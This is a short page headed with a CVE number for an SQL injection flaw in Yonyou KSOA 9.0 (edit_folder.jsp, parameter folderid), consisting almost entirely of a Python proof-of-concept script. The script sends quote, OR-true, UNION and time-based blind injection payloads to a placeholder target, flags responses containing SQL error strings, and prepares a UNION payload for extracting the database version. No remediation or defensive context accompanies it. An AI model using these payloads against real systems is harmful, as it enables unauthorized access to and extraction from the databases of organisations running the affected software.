CVE-2026-1132 | 用友KSOA 9.0 edit_folder.jsp SQL注入漏洞

import requests # CVE-2026-1132 SQL Injection PoC for Yonyou KSOA 9.0 # Target: /kmf/edit_folder.jsp # Parameter: folderid target_url = "http://target.com/kmf/edit_folder.jsp" # Basic injection test - check for SQL error payloads = [ "1'", # Basic SQL injection "1' OR '1'='1", # OR injection "1' UNION SELECT NULL--", # Union injection "1' AND SLEEP(5)--", # Time-based blind injection ] for payload in payloads: params = {"folderid": payload} try: response = requests.get(target_url, params=params, timeout=10) # Check for SQL error indicators if any(indicator in response.text.lower() for indicator in ['sql', 'syntax', 'mysql', 'error']): print(f"[+] Potential SQL Injection found with payload: {payload}") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] No injection detected with payload: {payload}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") # Example: Extract database version using UNION injection version_payload = "1' UNION SELECT @@version--" print(f"\n[*] Testing version extraction with: {version_payload}")